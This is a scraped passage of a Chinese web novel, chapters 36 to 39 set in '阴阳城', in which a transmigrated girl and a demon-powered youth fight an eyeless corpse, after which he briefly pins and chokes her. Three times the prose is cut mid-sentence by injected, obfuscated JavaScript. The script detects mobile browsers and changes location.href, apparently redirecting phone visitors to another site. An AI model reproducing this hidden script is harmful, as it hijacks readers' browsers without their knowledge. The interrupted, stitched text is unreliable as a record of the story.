周春和立刻停下了,她的心脏有一瞬间的停摆,几乎是下意识地往后退,感觉到谢斯年的衣角之后才偷偷松了口气。她清清嗓子,装出一副威严的声音朝前面的人开口:“谁在前面?” 脚步声倏的止住了,周春和有些紧张,一只手紧紧握着符咒,另一只手死死抓住谢斯年的衣角不放,壮着胆子又大声质问了一句:“谁在前面?” 这次依然没人回答周春和,周春和心觉不对,扭头朝谢斯年的方向问:“你有没有可以发光的符咒?” 片刻后,谢斯年冰凉的声音在另一侧响起:“周春和,你在和谁说话?” 周春和悚然一惊——谢斯年的声音在她左侧,那她现在右手抓着的人是谁? 显然谢斯年也迅速察觉到了不对劲,在话音刚落的时候,他就抬手燃起了一张长明符。 符咒可以持续发光,周春和在黑暗里呆久了,一下子被光晃到了眼睛,下意识的闭上了眼睛,再一睁眼,一张没有眼珠的惨白的脸猝不及防的闯入了她的眼眸。 而她手上还攥着这具已经腐朽的人残缺不堪的衣服。 36. 阴阳城 周春和在那一瞬间吓得连尖叫都忘记了,她切切实实的体验到原来人在极端恐惧之下是没有办法发出声音的。 她呆呆地瞪大眼睛看着那张有两个黑漆漆的空洞的脸,一瞬间恐惧的连呼吸似乎都忘记了。 可是那个无眼人反应极快,在周春和怔愣之际,已经一掌劈了下来。 周春和看着那记手刀越落越快,条件反射般闭上双眼,直到一股大力将她拽开。 那手刀贴着她的衣衫落下,削掉了她一片衣袂,谢斯年再晚一步,周春和现在估计就已经血溅三尺了。 劫后余生的周春和惊魂未定,不过脑子总算彻底反应过来了。她以最快的速度小跑着躲在谢斯年身后,心脏跳的快要蹦出来,紧紧跟着谢斯年不敢再轻举妄动。 长明符照着昏暗的小巷,将周围的景象完完整整的显露出来。原来再往前走两步,这巷子就到头了,巷子尽头散落着一地的竹笼和废弃木板,正中央是一个刻着字的石碑,石碑周围似乎被人清理过了,正好露出上面的两个字——阳城。这里看起来倒是没什么怪异之处,也不知道这无眼人是从哪里窜出来的。 谢斯年手中拿着符纸,整个人如临大敌。 周春和紧紧攥着谢斯年的衣衫,等意识到刚刚发生的一切之后,整个人还是控制不住的微微发抖。刚刚那副画面仅仅只是再回想一遍,她还是会冷汗直流。 借着纸符发出的灯关,周春和躲在谢斯年身后打量了一下那个无眼人,这个已经不能称之为“人”了,他身上的衣服已经破烂,而且看样式,似乎不是这个时候的衣衫。无眼人的眼睛被整个剜去,白如纸张的脸上只剩下两个黑漆漆的空洞,裸漏在外面的皮肤也已经大片大片的腐烂剥落,脸颊上的尸斑连成一片。 这时候,周春和闻到一股似有若无的幽香,这香正是那泊烟香的味道,周春和仔细辨认了一下,震惊的发现这香味竟然是来自面前的这个无眼人! 还没等她细想,那无眼人再次有了动作,周春和也不知道他没了眼睛是通过什么视物的,总之无眼人每次都能精准的找到两个人的位置。 他整个手掌已经全部腐烂,露出森森白骨,那骨头似乎被打磨过,尖利无比,完全可以当刀子来用。 无眼人以手做刀,朝站在前面的谢斯年狠狠劈了下去。 谢斯年抬手一挥,侧身躲过的同时,反手将符纸拍在了无眼人的胳膊上。 无眼人被定在原地,一时间动弹不得。 周春和松了口气,偷偷往后撤了半步。 她踮起脚尖,靠在谢斯年耳畔问:“接下来该怎么办?” 谢斯年回头看了她一眼,少女的眼睛在黑暗里亮亮的,带着一丝惧意和疑惑,正一眨不眨的看着他。 谢斯年再一次在周春和脸上看到了她完全依赖他时的神情。他很快移开视线,略一思忖,总算没有再袖手旁观:“我用定身符把这人定在这里,但能定多久要看着这东西的能力,若是它灵力高强,那么定身符控制不了多久。我们先去找阿姐吧。” 周春和也知道这是最好的办法,慌不迭的点了点头,正准备拉着谢斯年一起撤退,可谁知两个人就说了两句话的工夫,那无眼人竟然有了动作——身上的符纸被他扯掉,他又恢复了动作。 周春和没料到无眼人竟然直接在须臾之间就挣脱了谢斯年的符咒,一时间有些愕然。 谢斯年似乎也没料到,皱着眉“啧”了一声,反手拿出另一张符咒,严阵以待。 周春和本来没觉得这个无眼人有什么难对付的,在她看来,这无眼人就如同一个丧尸,只有武力值,但是没有智商,换句话说就是个肉盾,谢斯年有脑子又有武力值,对付这一个小小丧尸可谓是绰绰有余。但后来她就发现自己似乎想错了。 无眼人的进攻方式只有那一种,那就是用手掌砍人。周春和为了给谢斯年腾地方,早早的就移到了角落里。 谢斯年身手矫捷,每次都顺利的躲开了无眼人的攻击,同时还有余力拿出符纸朝无眼人掷去。 但几次下来,谢斯年就发现这无眼人看似脆弱,实则刀枪不入。 他似乎根本就没有痛觉,哪怕是身上被捅出一个大窟窿来,也不会丝毫影响到他进攻的脚步,谢斯年将他的手掌整个卸下来,这人竟然还能捡起来装上再继续前进。 打不烂挣不脱,这无眼人实在是有些磨人。 谢斯年皱了皱眉,显然不想再这么纠缠下去了,他咬破指尖,在符纸上画了几笔,想将符纸拍向那个无眼人,可那无眼人的动作比他快一步,用那只只剩下白骨的手握住了谢斯年的手腕。与此同时,谢斯年感觉似乎有什么东西从那无眼人的手掌中掉进了他的衣袖里,但此时的他早已经无暇顾及—— 骨头和皮肤相触的一瞬间,一种怪异的感觉传遍谢斯年的四肢百骸,这感觉就像是往日种种谢斯年最讨厌的事情在一瞬间以一种不允许抗拒之势席卷了他所以的感官。 谢斯年的头皮发麻,一阵阵难受的感觉一下又一下的击打着他的心脏。 一股熟悉而又让他无比厌恶的感觉传来——这正是小时候他被迫吸收大股大股妖力时的感觉。 粘腻、难受、绝望、恸哭……像是溺水的人最后那绝望的十几秒,又像是断头台上的人等待铡刀落下的那几秒……就好像全世界只剩下他自己,被困在无尽的黑暗与绝望之中,找不到丝毫的希望。 他几乎是一瞬间就被那股情绪吸了进去,少时那种无助的感觉卷土重来,大脑为了保护自己而充斥的抗拒和暴躁,只是不再有那时的恐惧。谢斯年的理智在过往和现在中拉扯,一种难以描述的不舒服感觉很快占领高地,让他的理智被剥离大脑之外。 在大脑反应过来之前,他的身体已经为了自保做出了下意识的反应——谢斯年面若寒霜的扼住无眼人的脖颈,一脚将他的脑袋踩在了地上。 只是这无眼人的生命力实在是太过于顽强,即便是整个脖颈都被谢斯年踩断,他也依然像个零件坏掉的机器人一样吱嘎吱嘎站起来,在地上摸索自己的脑袋放回脖颈上。 而他的脑袋刚和脖颈接触,就非常神奇的连接在了一起,仿佛刚刚被踩断脖颈的场景只是一个幻觉。 面对这种奇葩滑稽的场景,周春和一时间不知道是该惊叹还是该后怕。 谢斯年原本就没什么耐心,再加上受到妖力的影响,见无眼人没事人似的再接回自己的脑袋之后继续朝他攻击,怒气值一下被这个不知死活的东西点燃。 好死不死,这次无眼人依然无比精准的握住了谢斯年的手腕,于是那种令谢斯年从心底里作呕的难受感觉再次席卷而来,将谢斯年最后一丝理智彻底摧毁。 等周春和想阻止这一切已经来不及了,谢斯年脸上像是有三尺寒冰,那双为了在周夏莲面前伪装自己而总是带着乖巧可爱笑容的眸子此刻没有一丝的温度,他伸出手,黑色雾霭般的妖气自他手中窜出,以一种 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16576642|187135||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 蛮横霸道之势狠狠灌入无眼人的躯体之中。 周春和察觉到不对劲,只来得及往前迈了一步,就看见那无眼人在遮天蔽日的妖力之下直接化为了齑粉。 她张大嘴巴,甚至还没来得及说出那句“不要”,一切就都已经结束了,只剩下无数被两人打斗带起来的灰尘在空中漂浮。 察觉到周春和这边的动静,谢斯年扭头看向她。 他的眼睛里还带着没来得及散去的阴沉和狠厉,眼尾猩红,带着嗜血的渴望,眼睛里一点感情也没有,看着周春和像是在看一个陌生人。这目光看的周春和打了个寒噤,后背升起一股凉意。 她有些害怕谢斯年这种还带着血腥的模样,下意识地往后退了一步。 这一步似乎刺激到了谢斯年,谢斯年忽然动了,面无表情的朝周春和步步紧逼。 这下可真是吓到一无所知的周春和了,周春和体会不到无眼人带给谢斯年那种粘腻难受的感觉,在周春和的视角就是,谢斯年忽然暴走,用妖力将无眼人挫骨扬灰。 这还是谢斯年第一次在周春和面前使用妖力。 这也是周春和第一次见识到谢斯年身上那股蛮横到几乎不讲理的强大力量。 书中谢斯年的结局此刻再次浮现在周春和的眼前,此时书中少年的脸似乎和面前这个残忍凶狠的少年融合在了一起,他带着一种盛气凌人的压迫感朝周春和走了过来。 周春和心中紧张到了极点,她从来没有见识过谢斯年失控是什么样子,但以谢斯年现在的状况来看,后果显然不太好。周春和根本不知道接下来会发生什么,但她知道一点,如果自己真的死在了这里,那她以后就全完了。她没有任何金手指,所以也不会有任何转圜的余地。 死了就是死了,哪怕是她再觉得自己不会死亡,也会彻彻底底的消失在这个世界。 她不知道接下来谢斯年会做什么,但求生的欲望占据了她整个大脑,她现在只有一个念头,那就是她绝对不能死在这里,更不能现在稀里糊涂的死在谢斯年手中。 她努力让自己集中注意力,并且忍住后退的欲望,睁大眼睛愣愣的看着谢斯年,在想接下来该怎么安抚他。 其实周春和心里一点也没底,因为谢斯年现在的样子实在是太可怕了,比以往任何时候都可怕,周春和一点也不怀疑如果自己有一丁点儿惹到了谢斯年,他会毫不犹豫的让自己血溅当场。 在她大脑飞速运转的这短短的十几秒里,谢斯年已经来到了她面前。 谢斯年比她高出半个头,站在他面前的时候,挡住了大部分符咒发出来的光。 他居高临下的看着周春和,那眼神冷若冰霜,周春和实在是忍不住后退了半步。 但谢斯年紧跟着她不放,周春和后退,谢斯年就前进,直到把周春和逼到了角落里,退无可退。 周春和后脑勺紧紧贴着墙壁,恨不得凿个洞钻进去。 偏偏平常有事没事就出来刷存在感的系统此刻死机了一样怎么叫都不应。周春和对此习以为常,甚至连破口大骂的力气都没了。 就在周春和不知道谢斯年要干什么的时候,谢斯年直勾勾的看着她,忽然笑了,只是那笑容怎么看怎么带着邪性,他忽然附身下压,鼻尖离周春和的鼻尖只有不到一掌的距离。 周春和的心快要跳到嗓子眼里去了,就听见谢斯年直勾勾的盯着她,带着一种令人毛骨悚然的笑意淡淡的开了口:“周小姐躲什么呢?” 37. 阴阳城 谢斯年这状态明显不是很对劲,周春和心脏咚咚直跳,脑子里飞速思索破局之策。 谢斯年眼里的猩红之色稍稍褪去,但是表情依然冷若冰霜,他伸出手捏住周春和的下巴,两个人的距离之近,周春和甚至能感觉到谢斯年的呼吸。 周春和没忍住抖了抖,谢斯年立刻察觉到,随即就笑了:“周小姐似乎很怕我?” 拜托,你现在这个状态,就是周夏莲来了也得害怕吧……周春和虽然这么想,但是当然不敢这么说,她的大脑转的都快冒出烟来了:“我……我这是担心你……” 谢斯年伸出手指轻轻抚了抚周春和的嘴唇,周春和早上涂了口脂,谢斯年抹下一点嫣红,很快碾化在指尖。他手指游离往上,轻轻抚上了周春和的脸颊。 周春和年纪小,脸蛋自然是少年人那般正吹弹可破,虽然周春和平时不大知道保养,但是毕竟年龄摆在那儿,皮肤细腻有光泽,连毛孔都几乎看不见,摸起来滑滑的很舒服。 谢斯年摸了一下,又忍不住摩挲起来。 谢斯年的指尖是冰凉的,周春和的脸蛋却是很温热舒服,所以这触感对谢斯年来说很舒服,但对周春和来说就不是很友善了,周春和瑟缩了一下,想往旁边躲,但是谢斯年一下子看出了她的意图,另一只手掌稍一用力,捉住周春和的两只手往上带。谢斯年的手掌很大,周春和原本身量就比较瘦小,虽然最近她饭量上来,人看着稍微有点气色了,但力气依然不是很大。是以谢斯年只用一只手就能轻轻松松握住周春和的两只手腕。 手掌被桎梏住,周春和顿时动弹不得,谢斯年还觉得不满足,动作粗暴的用膝盖抵住周春和的双腿,这样周春和想抬腿踹他也做不到了。 谢斯年单手禁锢住周春和,另一只手依然捏着周春和的下巴。 周春和眼睛睁大,表情是被刻意掩饰过惊恐之后的模样,但她话都有些说不利索了:“你你你想干嘛?我知道我长得好看,但你也别想霸王硬上弓!” 谁知道谢斯年听说却嗤的一声笑了:“周小姐倒真是脸皮厚。” 周春和颤颤巍巍道:“你到底想干嘛?那个无眼人不是已经被……那个啥了,咱们、咱们还不回去吗?”顿了顿,周春和小心翼翼地咽了口唾沫,眼珠转了一圈,唯唯诺诺道,“那个,那个阿姐一定还等着我们呢,如果、如果我们不回去,她会担心我们地。你也、你也一定不想让她担心吧?” 谢斯年闻言却有些玩味的笑了,只是不知道为什么,他虽然是笑着的,但是周身的气场却一下子变得冰冷:“怎么,想拿阿姐压我?” 周春和一看不好,似乎触到了谢斯年的逆鳞,顿时有些后悔,她使劲在脑海里搜寻可以让谢斯年放过自己的话,只是还没想到什么,谢斯年又慢慢悠悠的开了口:“可惜了。” 周春和一听这话不对,慌乱之下什么也顾不上了,口不择言道:“不可惜不可惜,一点也不可惜,你看我们不是都很开心幸福快乐吗?我们都是一个美好的大家庭,我们以后一定都会相亲相爱,大家的生活也会越来越好……来,一会儿我们还可以一起跳舞,我教你跳钢管舞,你知道钢管舞吗?特别好看……哎轻点轻点,别扯我的脸,好痛……” 谢斯年松开了手,似笑非笑的看着周春和:“——可惜了,你看到了我最不想让别人看到的那一面。周小姐,你知道让一个人永远不会开口的最好方法是什么吗?” 周春和不敢知道,她闭了闭眼睛,脸上堆满讨好地笑容:“我、我知道,一定是每天给她吃好吃的,有危险护在她身前,有钱了全给她,没钱就出去挣钱给她,晚饭再给她塞两个猪蹄和一块猪皮,猪蹄最好是麻辣口味的……” 谢斯年眼里似乎闪过什么情绪,他“啧”了一声,表情有些不耐烦。周春和被谢斯年这个语气词打坏了,也不敢再胡扯别的,赶紧一脸认真诚挚的保证:“谢斯年!你先听我说,我知道你担心什么,你无非就是担心阿姐知道你……你的力量,你放心,我绝对不会说出去的!咱们已经一起呆了这么久,你肯定也对我有所了解吧!我这个人虽然别的不怎么样,但我、我还是很讲兄弟义气的,背叛兄弟的事情我做不到,也不屑于做,你放心,我绝对绝对不会说出一个字!因为我把你当亲兄弟!” 谢斯年似笑非笑道:“我看不是这样吧?周小姐不说出去,到底是因为讲兄弟义气还是因为窝囊,周小姐自己心里知道。” 周春和连反驳也不敢,窝窝囊囊的讪笑:“嘿嘿,你看你这不是都明白吗?如果我想说,那我早就说了,肯定等不到现在。你也说了,我这人比较……比较惜命,会伤害自己性命的事情我做不到……我知道如果到时候我把这件事说出来,阿姐虽然不会饶过你,但你一定先不会绕过我。到时候我肯定不会好过,你放心,保全了你就是保全了我自己,打死我都不会把这件事说出去的……” 周春和的表情诚恳又狗腿,眼睛大大的,一闪一闪,饱含期待和祈求直勾勾的盯着谢斯年。 谢斯年手上的力度并没有减弱。 他说这些话并不是为了吓唬周春和,他确实想过直接杀掉周春和,甚至不止一次。 死人才能永远的保守住秘密,死人才永远不会担心被他背叛。 只有让周春和成为一具尸体,那么她才会有永远不开口的可能。 其实他完全不在意大家知道他有妖力的事情,大不了把反对的人全部杀了就是,但他不能让周夏莲知道。他不敢想如果周夏莲知道了这一切会是什么反应,但他知道,以后他绝无可能再留在周夏莲身边。 这种事情光是想想都让他觉得难以接受,并别说如果真的发生该怎么办了。 所以他绝不容许有一个知道这些事情的存在,更不容许出现一点变故。 但现在周春和成了这个变故。 他想过除掉周春和,并且这是一个绝佳的时机,他在杀掉周春和之后,完全可以把这一切推到无眼人身上。死人是不会说话的,所以到时候哪怕周夏莲怀疑,也绝对发现不了真相。 毕竟在所有人眼里,他没有任何动机杀掉周春和。 他有自信将这些事情做到天衣无缝,毕竟这样阴暗的事情他没少做过。 他这么想的,也就这么做了,等反应过来的时候,他的手已经掐住了周春和的脖子,并且逐渐用力。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16576643|187135||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 周春和的脸涨得通红,很快就没有办法顺畅的呼吸。她似乎对谢斯年的反应觉得难以置信,眼睛睁得大大的,瞠目结舌的看着谢斯年。 谢斯年本来应该对这样的目光不为所动的,毕竟他见过无数类似的表情,比周春和更可怜的也不在话下。他的心冷的简直不能用石头来形容。可是在那一瞬间,他忽然又想到了在幻境的时候,少女在看到他的过往时,流下的那滴泪。 眼泪的温度似乎还残存在他的手背,直到现在想起来,谢斯年还觉得隐隐作痛。 记忆中少女的脸和现在眼前狼狈的脸结合在一起,谢斯年似乎又看到了少女那双不掺杂一丝假意的眼睛。那真是他这一生中见到的最漂亮的一双眼睛,而那双眼睛却因为他流露出心疼和难过。 谢斯年似乎被那双含泪的眼睛刺到了,他回过神,被妖气控制的理智一下子回笼,大脑也彻底冷静下来。 他在做什么? 谢斯年手上的力度渐松,周春和立刻大口大口呼吸新鲜的空气,脸色也逐渐恢复。与此同时,谢斯年感觉指尖似乎被衣袖里的什么东西格了一下,他下意识看过去,原来是刚刚从无眼人手里掉进他衣袖的东西。那东西很细小,看起来像是造型独特的小石子,在黑暗中看不出来到底是干什么的。他皱了皱眉,隐约意识到了什么,看向地上那堆无眼人的残骸时表情就变得意味深长。 这边的周春和察觉到谢斯年态度的转变,来不及继续呼吸,先赶紧开了口:“谢斯年?谢斯年!你刚刚是不是被妖力控制了?我知道你一定是被妖力控制了,你一定要抵抗住这股力量让你杀掉我的蛊惑啊,要不然以后在姐姐身边的时候,这股妖力不知道还会蛊惑你做什么事情呢!谢斯年,我知道刚刚并非你的本意,你先放开我,我们好好说话,好不好?” 谢斯年回过神,似乎在思考周春和的话,他掐住周春和脖子的手完全松开了,周春和以为事情终于有了转机,立刻喜形于色:“还有这一只手呢,就是抓着我的手的手,你快把这只是也放了。” 谁知谢斯年并没有立刻松开,那只从周春和脖颈上拿下来的手又覆上了周春和的嘴唇,这次他轻轻揉了揉周春和嘴上的口脂,将周春和嘴上的口脂全部涂花了,然后坏心的将手上的口脂尽数抹到了周春和的脸上。 周春和睁大眼睛愣愣的看着他,还以为谢斯年又犯病了,顿时连大气都不敢喘,谁知道谢斯年忽然嗤的一声笑了,然后松开了桎梏。 周春和愣了半天才反应过来刚刚谢斯年是在那她取乐呢,顿时气不打一处来。但毕竟刚刚谢斯年的恶行还在这,周春和也不敢太放肆,自己生了一会闷气,很快也就好了。 长明符很快就燃烧见底,巷子里立刻恢复了往常的黑暗。 谢斯年没再说什么,转身就走了。 周春和大惊失色,自然不敢再在这里多呆,连忙跟着谢斯年的脚步声一起往外跑。 等从小巷子里出来,重新见到了天光,周春和才真真正正的松了口气。 她这口气还没松完,走在前面的谢斯年忽然又回过头,似笑非笑的看向了周春和:“过来,我有话要和你说。” 38. 阴阳城 人在屋檐下,不得不低头。 周春和默念三遍,忍气吞声的朝谢斯年走了过去,一在谢斯年面前停下,周春和脸上立刻又露出一个讨好的笑:“怎么了,斯年哥哥?” 通常周春和这么叫谢斯年的时候,就是在窝囊的反击——她不敢真的和谢斯年动手,只能通过这种阴阳怪气表达自己的不满。谢斯年伸出手,周春和条件反射般往后一退,但谢斯年只是不轻不重的捏了捏她的脸,那笑容怎么看怎么吓人:“一会儿什么该说什么不该说,周小姐应该知道吧?” 或许是被威胁多了,周春和也觉得习惯了,立刻点头如捣蒜:“你放心,你就把心放回肚子里,这些事情我一定打死都不会说出去。” 谢斯年满意的点点头:“那就好。” 周春和如释重负,心说自己也太惨了,前几天被威胁了一遍,今天又被威胁了一遍……再这样下去这套流程她都快背下来了。 不过刚刚谢斯年确实很可怕,看来这就是他被妖力控制之后的样子,变得冷血无情,六亲不认。 周春和不可避免的又想到了属于谢斯年的结局,心里不仅一阵叹息。 看来为了避免那个不太美妙的结局,她必须得督促着谢斯年减少使用妖力的频率了,要不然她真担心那天谢斯年提前暴走,那别说她的任务完成不了,就是她自己的生命安全都不能得到保证。 在街上走了一会儿,被温暖的阳光照耀了片刻之后,周春和的心情又变得无比雀跃。 她向来心大,有什么东西都不会一直放在心里,按她的想法来看,这种事情一直积在心里那折磨的就是自己,人生嘛,有起必有落,也就短短三万天不到,如果一直记着不好的事情,那这样的人生也太没滋没味了。 她宁愿自己乐死,也不愿意自己被愁死。 再说了,她比别人更了解谢斯年——所有人里,甚至包括主角团里,就只有她一个人见过谢斯年悲惨的童年,如果连她都不能对谢斯年稍微宽容一点,那这个世界上就没有人会心疼谢斯年了。 周春和虽然有时候挺害怕谢斯年,但一想到他曾经的遭遇,顿时也就觉得不是什么大事了。毕竟生死面前无大事,谢斯年又没有真的杀了她,那她也没必要揪着不放。 安慰好了自己,周春和的脚步也就跟着轻快起来。 周春和一向不是情绪内敛的人,所以身旁的谢斯年能很容易就发现少女的情绪转换。 就连谢斯年这样冷血无情的人有时候也会被周春和的性格惊到,这少女十分奇怪,说她胆大吧,遇事又窝窝囊囊的,但说她胆小……刚刚他都那么对她了,可周春和似乎依然完全不怕他。 刚刚生死攸关的瞬间似乎被她完全抛诸脑后,她根本没放在心上。 察觉到谢斯年一直在打量自己,周春和忍不住朝他看过去,谢斯年又迅速移开了视线。 周春和奇道:“你躲什么?” 谢斯年转过头,脸上又带上了那种独属于少年人灿烂的笑,只是这笑容似乎还藏着一种说不上来的焉坏:“没什么,这不是怕被你看到我在看你,又被你误会我喜欢你了么?” 周春和撇了撇嘴:“你放心吧,我不会再这么误会了,毕竟你刚刚对我可不……” 对上谢斯年略带威胁意味的眼神,周春和立刻把嘴闭上了,“嘿嘿”笑了笑,像块橡皮糖一样黏到谢斯年身边:“谢斯年,我的意思是说,你刚刚对我特别好,还保护了我,要不然说不定我就死在那个无眼人的手里了。如果我真死在里面了,我姐姐肯定会难过死,也不知道你会不会难过。” 虽然这句话的前半句有违心的成分,但后半句是周春和的真心话。虽然后半段谢斯年不知道为什么忽然暴走了,但一开始确实是谢斯年救了她,而且是不掺杂任何私心的救了她。 如果没有谢斯年,说不定她一开始就死在了那无眼人手里也未可知呢。 想到这里,周春和的表情不禁更温和了些,诚恳的和谢斯年说:“谢谢你啊,谢斯年。虽然有时候你挺阴晴不定的,而且还爱迁怒人、有时候还是非不分不知好歹,人又冷漠又倔,对什么事情都不在意,经常还爱捉弄人,心黑的堪比墨水,但起码你刚刚还是表现出一点善心,把我救了下来,就冲这个,以后有什么事我一定会第一时间站在你面前。” 这番话虽然表面听着是在夸人,但谢斯年莫名觉得周春和似乎还偷偷把自己骂了一顿。 他似笑非笑的看向周春和,周春和立刻做了一个给嘴巴拉上拉链的动作,示意自己绝对不会再废话了。 走了几步,前面有一个卖红糖开花馒头的小摊,周春和立刻走不动路了。刚刚一直提心吊胆,肚子里的那点食物似乎也根着心情的起伏被消耗掉,周春和看着蒸笼里热气腾腾的馒头,不争气的口水又流了出来。 谢斯年在她身后站定,察觉到周春和渴求的目光,了然的从口袋里掏出一个小小的钱袋。 周春和立即虔诚的双手合十,一脸期待:“谢斯年,借我一个银叶子呗?求你了求你了,回头我让阿姐还给你。” 谢斯年手中的钱袋子里装了许多金叶子银叶子,随便拿出一个就够周春和买一蒸笼的红糖开花馒头了,周春和的视线跟着举着钱袋的手左右移动,祈求两个大字几乎写在了眼睛里。 谢斯年被周春和的神情逗笑了,在周春和灼灼的视线逼视下,他慢条斯理的掏出一片银叶子:“好啊,你能拿到就给你。” 周春和仿佛看见了刚出炉的还冒着热气的馒头在自己眼前晃悠,一下子就咧嘴笑了出来,伸手就要去拿银叶子。 可就在她即将拿到的时候,谢斯年把手往上一提,周春和整个人就扑进了他的怀里。 周春和抬头一看,就看见谢斯年正笑眯眯的盯着她看,抬高的那只是还拿着银叶子晃了晃,活像一只吃饱喝足的小狐狸,捉弄意味十足。 周春和不信邪,又跳起来够银叶子,但每次谢斯年都稍稍往上提一提,每次都放在离周春和的手指仅差几厘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16576644|187135||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 米的地方。 周春和在谢斯年怀里被撞了好几次,鼻尖都红了,可谢斯年一脸若无其事的看着,整个人那叫云淡风轻从从容容。 周春和气急败坏道:“谢斯年,你这是干嘛!咱们不是好兄妹了吗?你连一片银叶子都不舍得给我?妹妹把你揣兜里,你把妹妹踹沟里是吧?你太让你妹妹我心寒了。为了让你认识到自己的错误,惩罚你给我买十个红糖开花馒头!让你知道背叛自己的好妹妹是什么下场!” 谢斯年依然慢条斯理的笑:“不是说了吗,你能拿到就给你。既然你自己技不如人,那我也没办法。” 周春和被这番话气的吹胡子瞪眼,眼见冒着热气的馒头马上要被买完,她眼一闭心一横,气的拿拳头狠狠招呼谢斯年:“谢斯年!你太让我心寒了,亏我还把你当好朋友,妹子和你心连心,你和妹子玩脑筋是吧?你有本事别把钱袋往上提啊,你就放在这里别的,我肯定能拿到。” 谢斯年懒洋洋的看着周春和,任由周春和打在他身上那跟猫挠似的两下,眼睛里捉弄她的意思十分明显,想逗弄周春和的心思也十分明显:“那还有什么意思?就要这样才好玩呢。” 周春和气绝:“那是你好玩,你问过我好不好玩了吗?” 谢斯年略一思忖,忽然笑道:“那这样吧,既然你不喜欢这个,那我们就换个玩法。从现在开始,你学十声猫叫我就给你买一个馒头,学二十声就给你买两个馒头,好不好?” 周春和一听就知道谢斯年又在逗她,顿时气不打一处来,握起拳头又狠狠锤了一下谢斯年的胸口:“我打你一下你给我买个馒头好不好啊?还学猫叫,我打死你!” 谢斯年轻轻松松接住周春和的拳头,宽大的手掌整个把周春和的拳头包在手中,周春和顿时又动弹不得了:“那就没办法了,那周小姐就吃不上她心心念念的红糖开花馒头了。” 周春和挣不脱,抬脚踹了谢斯年一下。 谢斯年逗完了之后,十分不负责的笑起来。周春和一抬头,就看见了谢斯年唇边那两个被他笑出来的“小括弧”。 谢斯年的笑容大多数时候都是为了某种目的伪装出来的,要么是为了讨周夏莲开心,要么是为了让人放松警惕,很少有这么存粹的时候。每当谢斯年发自内心笑的时候,他的唇边就会有酒窝和小括弧,这正是这两个鲜明的小括弧才让谢斯年增添了一种鲜活热切的少年气息。 周春和看到谢斯年唇边那对酒窝和小括弧的时候,一下子就呆住了。 她愣愣的盯着谢斯年,忽然有种这孩子终于从二次元变成三次元的感觉。 她之前一直把他当书中的任务看待,把他当自己的攻略对象看待,直到现在,她看到谢斯年如此鲜活的笑容,看着他唇边那枚小小的酒窝,忽然意识到谢斯年其实是个真真正正的人,是个有自己思想的、独立于这个世界而存在的鲜活的人。 她呆呆地看着谢斯年,心中某根弦忽然被什么东西轻轻拨动了一下,泛起阵阵涟漪。 39. 阴阳城 谢斯年顽劣的捉弄完人之后,也就把钱袋给周春和了。 周春和原本就没多少的怨气立刻烟消云散,拿着银叶子开开心心的去买了几个馒头。 买完馒头之后,周春和把找回的钱放到钱袋子里,一起还给了谢斯年。 她迫不及待地拿出一个还冒着热气地馒头放进嘴里咬了一口,心满意足的嚼完咽了,等囫囵吞下去大半个,她才想起来含糊不清的问谢斯年:“谢斯年,你也来一个?” 谢斯年摆摆手,心不在焉道:“不用。” 周春和还以为他不好意思,边咀嚼边掰下一块馒头举到谢斯年嘴边:“尝尝呗,自从我和你在一起之后,就从来没见过你吃红糖开花馒头,你是不是从来没吃过?这个可好吃了……” 那馒头几乎要捅到谢斯年的嘴里,谢斯年没躲开,嘴唇沾到了馒头碎屑,他避无可避,只好迎着周春和亮晶晶的眸子将那块馒头吃了下去。 周春和盯着他的嘴巴看了一会儿,奇怪的问:“谢斯年,你是不是不喜欢吃甜的?” 谢斯年咽下那口又甜又软的馒头,回道:“什么?” 周春和思索了一下,笃定道:“我好像还真没见过你吃甜的,还有人不喜欢吃甜的吗?生活已经够苦了,不吃点甜的中和一下怎么能行。” 谢斯年笑眯眯地说:“苦吗?还好吧,有不顺心的人杀掉就是了,倒也不是很苦。” 虽然知道谢斯年是故意这么说来逗她的,但周春和还是忍不住咽了口唾沫,默默在心里吐槽,那你确实不苦了,苦的就是不小心没顺到你的心意然后被你杀掉的那些人了。 不过周春和当然也不敢直接说,毕竟她还要攻略这位还没黑化的病娇,如果她说了的话,别说攻略病娇了,就是自己的小命能不能保住都是个问题。她转了转眼珠,绞尽脑汁的想找话题:“哎呀,那我可是会心疼你的。看在你刚刚给我银叶子买馒头的份上,我也送你一个礼物吧。” 说着她从口袋里摸出两块糖递给谢斯年:“上次买的糖还没吃完,给你两块尝尝?我和你说,有时候心情不好了,吃点甜的可以变得开心。你别躲……真的,有时候你觉得难过了,吃点糖会好受很多。反正我难过了就去吃东西,把肚子填满了,心情也就变好了。但你好像对吃的不是很热衷?那你可以吃点甜的,作用也是一样的。” 